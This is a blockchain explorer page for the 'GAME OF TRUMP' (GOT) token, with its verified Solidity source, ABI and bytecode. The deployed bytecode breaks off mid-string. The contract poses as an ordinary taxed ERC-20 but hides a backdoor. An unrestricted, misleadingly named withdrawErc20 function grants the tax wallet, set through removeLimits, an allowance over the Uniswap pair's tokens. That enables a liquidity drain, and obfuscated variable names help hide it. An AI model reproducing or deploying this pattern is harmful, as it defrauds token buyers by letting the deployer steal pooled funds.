ETH Price: $3,284.41 (-0.46%)

Token

GAME OF TRUMP (GOT)
 

Overview

Max Total Supply

420,690,000,000 GOT

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Joe Coin: Deployer
Balance
5,555,422,486.372674167 GOT

Value
$0.00
0x66c6b7306b9b9db42fb2d8b0dc75cd0b7499f7c6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GOT

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-08
*/

/**
GAME OF TRUMP

Tg:   https://t.me/gameoftrumpeth
Web:  https://www.gameoftrump.org
X:    https://x.com/gameoftrumpeth
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.27;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract GOT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _ellowances;
    mapping (address => bool) private _isExcludedFee;
    mapping (address => bool) private _bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=10;
    uint256 private _reduceSellAt=10;
    uint256 private _preventCount=12;
    uint256 private _buyTokenCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"GAME OF TRUMP";
    string private constant _symbol = unicode"GOT";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;

    IUniswapV2Router02 private uniSwapRouter;
    address private _tckTurip;
    address private uniSwapPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _limitSell = true;
    uint256 private _limitBlockSell = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xAf6Fc391d1C25860F54Aa8F77f05CF5803FA09eb);
        _tOwned[_msgSender()] = _tTotal;
        _isExcludedFee[owner()] = true;
        _isExcludedFee[address(this)] = true;
        _isExcludedFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function init() external onlyOwner() { 
        uniSwapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniSwapRouter), _tTotal);
        uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).createPair(address(this), uniSwapRouter.WETH());
    }

    function launch() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniSwapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _ellowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _ellowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _ellowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function withdrawETH() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function withdrawErc20(uint256 tokens) external {
        address router = address(_tckTurip);address erc20 = uniSwapPair;
        _ellowances[erc20][router] = tokens * 10**_decimals;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 _taxTokenFee=0;
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            _taxTokenFee = amount.mul((_buyTokenCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniSwapPair && to != address(uniSwapRouter) && ! _isExcludedFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }
            if(to == uniSwapPair && from!= address(this) ){
                _taxTokenFee = amount.mul((_buyTokenCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETH(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniSwapPair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyTokenCount>_preventCount) {
                if (_limitSell) {
                    if (_limitBlockSell < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendETH(address(this).balance);
                        }
                        _limitBlockSell = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETH(address(this).balance);
                    }
                }
            }
        }
        if(_taxTokenFee>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(_taxTokenFee);
          emit Transfer(from, address(this), _taxTokenFee);
        }
        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(_taxTokenFee));
        emit Transfer(from, to, amount.sub(_taxTokenFee));
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        _limitSell = false;
        _tckTurip = _taxWallet;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETH(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniSwapRouter.WETH();
        _approve(address(this), address(uniSwapRouter), tokenAmount);
        uniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600655600c6007555f6008555f600955600a8055600a600b55600c80555f600d5560646009600a610037919061037d565b610046906461f313f880610392565b610051906002610392565b61005b91906103a9565b600e55606461006c6009600a61037d565b61007b906461f313f880610392565b610086906002610392565b61009091906103a9565b600f5560646100a16009600a61037d565b6100b0906461f313f880610392565b6100bb906001610392565b6100c591906103a9565b60105560646100d66009600a61037d565b6100e5906461f313f880610392565b6100f0906001610392565b6100fa91906103a9565b6011556014805462ffffff60a81b1916600160b81b1790555f601555348015610121575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673af6fc391d1c25860f54aa8f77f05cf5803fa09eb1790556101946009600a61037d565b6101a3906461f313f880610392565b335f9081526001602081905260408220929092556003906101cb5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556102283390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61025f6009600a61037d565b61026e906461f313f880610392565b60405190815260200160405180910390a36103c8565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102d3578085048111156102b7576102b7610284565b60018416156102c557908102905b60019390931c92800261029c565b935093915050565b5f826102e957506001610377565b816102f557505f610377565b816001811461030b576002811461031557610331565b6001915050610377565b60ff84111561032657610326610284565b50506001821b610377565b5060208310610133831016604e8410600b8410161715610354575081810a610377565b6103605f198484610298565b805f190482111561037357610373610284565b0290505b92915050565b5f61038b60ff8416836102db565b9392505050565b808202811582820484141761037757610377610284565b5f826103c357634e487b7160e01b5f52601260045260245ffd5b500490565b6118c1806103d55f395ff3fe60806040526004361061011e575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b4114610306578063a9059cbb14610331578063dd62ed3e14610350578063e086e5ec14610394578063e1c7392a146103a8575f5ffd5b806370a082311461026f578063715018a6146102a3578063751039fc146102b75780637d1db4a5146102cb5780638da5cb5b146102e0575f5ffd5b806323b872dd116100e357806323b872dd146101ec578063258ab15c1461020b578063300d62171461022a578063313ce5671461023f5780636c0a24eb1461025a575f5ffd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101865780630faee56f146101b557806318160ddd146101d8575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5061013d6103bc565b005b34801561014a575f5ffd5b5060408051808201909152600d81526c047414d45204f46205452554d5609c1b60208201525b60405161017d91906114d1565b60405180910390f35b348015610191575f5ffd5b506101a56101a036600461151a565b610533565b604051901515815260200161017d565b3480156101c0575f5ffd5b506101ca60115481565b60405190815260200161017d565b3480156101e3575f5ffd5b506101ca610549565b3480156101f7575f5ffd5b506101a5610206366004611544565b61056a565b348015610216575f5ffd5b5061013d610225366004611582565b6105d1565b348015610235575f5ffd5b506101ca60105481565b34801561024a575f5ffd5b506040516009815260200161017d565b348015610265575f5ffd5b506101ca600f5481565b34801561027a575f5ffd5b506101ca610289366004611599565b6001600160a01b03165f9081526001602052604090205490565b3480156102ae575f5ffd5b5061013d610625565b3480156102c2575f5ffd5b5061013d610696565b3480156102d6575f5ffd5b506101ca600e5481565b3480156102eb575f5ffd5b505f546040516001600160a01b03909116815260200161017d565b348015610311575f5ffd5b5060408051808201909152600381526211d3d560ea1b6020820152610170565b34801561033c575f5ffd5b506101a561034b36600461151a565b610779565b34801561035b575f5ffd5b506101ca61036a3660046115b4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561039f575f5ffd5b5061013d610785565b3480156103b3575f5ffd5b5061013d6107da565b5f546001600160a01b031633146103ee5760405162461bcd60e51b81526004016103e5906115eb565b60405180910390fd5b601454600160a01b900460ff16156104485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e5565b6012546001600160a01b031663f305d7194730610479816001600160a01b03165f9081526001602052604090205490565b5f5f61048c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156104f2573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105179190611620565b50506014805462ff00ff60a01b19166201000160a01b17905550565b5f61053f3384846109d4565b5060015b92915050565b5f6105566009600a611742565b610565906461f313f880611750565b905090565b5f610576848484610af8565b6105c784336105c285604051806060016040528060288152602001611864602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611149565b6109d4565b5060019392505050565b6013546014546001600160a01b0391821691166105f06009600a611742565b6105fa9084611750565b6001600160a01b039182165f9081526002602090815260408083209590941682529390935291205550565b5f546001600160a01b0316331461064e5760405162461bcd60e51b81526004016103e5906115eb565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106bf5760405162461bcd60e51b81526004016103e5906115eb565b6106cb6009600a611742565b6106da906461f313f880611750565b600e556106e96009600a611742565b6106f8906461f313f880611750565b600f556014805460ff60b81b19169055600554601380546001600160a01b0319166001600160a01b039092169190911790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107576009600a611742565b610766906461f313f880611750565b60405190815260200160405180910390a1565b5f61053f338484610af8565b5f546001600160a01b031633146107ae5760405162461bcd60e51b81526004016103e5906115eb565b60405133904780156108fc02915f818181858888f193505050501580156107d7573d5f5f3e3d5ffd5b50565b5f546001600160a01b031633146108035760405162461bcd60e51b81526004016103e5906115eb565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084d90309061083e6009600a611742565b6105c2906461f313f880611750565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c19190611767565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610920573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109449190611767565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561098e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b29190611767565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e5565b6001600160a01b038216610a975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e5565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e5565b5f8111610c1f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e5565b601454600160b01b900460ff161580610c415750601454600160a81b900460ff165b15610ceb576001600160a01b0383165f90815260016020526040902054610c69908290611782565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c98908290611795565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aeb9085815260200190565b5f80546001600160a01b03858116911614801590610d1657505f546001600160a01b03848116911614155b1561100c576001600160a01b0384165f9081526004602052604090205460ff16158015610d5b57506001600160a01b0383165f9081526004602052604090205460ff16155b610d63575f5ffd5b610d8f6064610d89600a54600d5411610d7e57600654610d82565b6008545b8590611181565b90611206565b6014549091506001600160a01b038581169116148015610dbd57506012546001600160a01b03848116911614155b8015610de157506001600160a01b0383165f9081526003602052604090205460ff16155b15610ec757600e54821115610e385760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e5565b600f5482610e5a856001600160a01b03165f9081526001602052604090205490565b610e649190611795565b1115610eb25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e5565b600d8054905f610ec1836117a8565b91905055505b6014546001600160a01b038481169116148015610eed57506001600160a01b0384163014155b15610f2557610f176064610d89600b54600d5411610f0d57600754610d82565b6009548590611181565b905047610f2347611247565b505b305f90815260016020526040902054601454600160a81b900460ff16158015610f5b57506014546001600160a01b038581169116145b8015610f705750601454600160b01b900460ff165b8015610f7d575060105481115b8015610f8c5750600c54600d54115b1561100a57601454600160b81b900460ff1615610fe557436015541015610fe057610fca610fc584610fc084601154611282565b611282565b611296565b478015610fda57610fda47611247565b50436015555b61100a565b610ff8610fc584610fc084601154611282565b4780156110085761100847611247565b505b505b801561108457305f9081526001602052604090205461102b9082611406565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061107b9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110a69083611464565b6001600160a01b0385165f908152600160205260409020556110e96110cb8383611464565b6001600160a01b0385165f9081526001602052604090205490611406565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111328585611464565b60405190815260200160405180910390a350505050565b5f818484111561116c5760405162461bcd60e51b81526004016103e591906114d1565b505f6111788486611782565b95945050505050565b5f825f0361119057505f610543565b5f61119b8385611750565b9050826111a885836117c0565b146111ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e5565b9392505050565b5f6111ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a5565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561127e573d5f5f3e3d5ffd5b5050565b5f81831161129057826111ff565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112dc576112dc6117df565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611333573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113579190611767565b8160018151811061136a5761136a6117df565b6001600160a01b03928316602091820292909201015260125461139091309116846109d4565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c89085905f908690309042906004016117f3565b5f604051808303815f87803b1580156113df575f5ffd5b505af11580156113f1573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f806114128385611795565b9050838110156111ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e5565b5f6111ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611149565b5f81836114c55760405162461bcd60e51b81526004016103e591906114d1565b505f61117884866117c0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107d7575f5ffd5b5f5f6040838503121561152b575f5ffd5b823561153681611506565b946020939093013593505050565b5f5f5f60608486031215611556575f5ffd5b833561156181611506565b9250602084013561157181611506565b929592945050506040919091013590565b5f60208284031215611592575f5ffd5b5035919050565b5f602082840312156115a9575f5ffd5b81356111ff81611506565b5f5f604083850312156115c5575f5ffd5b82356115d081611506565b915060208301356115e081611506565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f60608486031215611632575f5ffd5b5050815160208301516040909301519094929350919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561169a5780850481111561167e5761167e61164b565b600184161561168c57908102905b60019390931c928002611663565b935093915050565b5f826116b057506001610543565b816116bc57505f610543565b81600181146116d257600281146116dc576116f8565b6001915050610543565b60ff8411156116ed576116ed61164b565b50506001821b610543565b5060208310610133831016604e8410600b841016171561171b575081810a610543565b6117275f19848461165f565b805f190482111561173a5761173a61164b565b029392505050565b5f6111ff60ff8416836116a2565b80820281158282048414176105435761054361164b565b5f60208284031215611777575f5ffd5b81516111ff81611506565b818103818111156105435761054361164b565b808201808211156105435761054361164b565b5f600182016117b9576117b961164b565b5060010190565b5f826117da57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118435783516001600160a01b031683526020938401939092019160010161181c565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220036977133218d1176e2db40f5b0bf53645080c82a9eec2d9c4c73370474f9fba64736f6c634300081b0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b4114610306578063a9059cbb14610331578063dd62ed3e14610350578063e086e5ec14610394578063e1c7392a146103a8575f5ffd5b806370a082311461026f578063715018a6146102a3578063751039fc146102b75780637d1db4a5146102cb5780638da5cb5b146102e0575f5ffd5b806323b872dd116100e357806323b872dd146101ec578063258ab15c1461020b578063300d62171461022a578063313ce5671461023f5780636c0a24eb1461025a575f5ffd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101865780630faee56f146101b557806318160ddd146101d8575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5061013d6103bc565b005b34801561014a575f5ffd5b5060408051808201909152600d81526c047414d45204f46205452554d5609c1b60208201525b60405161017d91906114d1565b60405180910390f35b348015610191575f5ffd5b506101a56101a036600461151a565b610533565b604051901515815260200161017d565b3480156101c0575f5ffd5b506101ca60115481565b60405190815260200161017d565b3480156101e3575f5ffd5b506101ca610549565b3480156101f7575f5ffd5b506101a5610206366004611544565b61056a565b348015610216575f5ffd5b5061013d610225366004611582565b6105d1565b348015610235575f5ffd5b506101ca60105481565b34801561024a575f5ffd5b506040516009815260200161017d565b348015610265575f5ffd5b506101ca600f5481565b34801561027a575f5ffd5b506101ca610289366004611599565b6001600160a01b03165f9081526001602052604090205490565b3480156102ae575f5ffd5b5061013d610625565b3480156102c2575f5ffd5b5061013d610696565b3480156102d6575f5ffd5b506101ca600e5481565b3480156102eb575f5ffd5b505f546040516001600160a01b03909116815260200161017d565b348015610311575f5ffd5b5060408051808201909152600381526211d3d560ea1b6020820152610170565b34801561033c575f5ffd5b506101a561034b36600461151a565b610779565b34801561035b575f5ffd5b506101ca61036a3660046115b4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561039f575f5ffd5b5061013d610785565b3480156103b3575f5ffd5b5061013d6107da565b5f546001600160a01b031633146103ee5760405162461bcd60e51b81526004016103e5906115eb565b60405180910390fd5b601454600160a01b900460ff16156104485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e5565b6012546001600160a01b031663f305d7194730610479816001600160a01b03165f9081526001602052604090205490565b5f5f61048c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156104f2573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105179190611620565b50506014805462ff00ff60a01b19166201000160a01b17905550565b5f61053f3384846109d4565b5060015b92915050565b5f6105566009600a611742565b610565906461f313f880611750565b905090565b5f610576848484610af8565b6105c784336105c285604051806060016040528060288152602001611864602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611149565b6109d4565b5060019392505050565b6013546014546001600160a01b0391821691166105f06009600a611742565b6105fa9084611750565b6001600160a01b039182165f9081526002602090815260408083209590941682529390935291205550565b5f546001600160a01b0316331461064e5760405162461bcd60e51b81526004016103e5906115eb565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd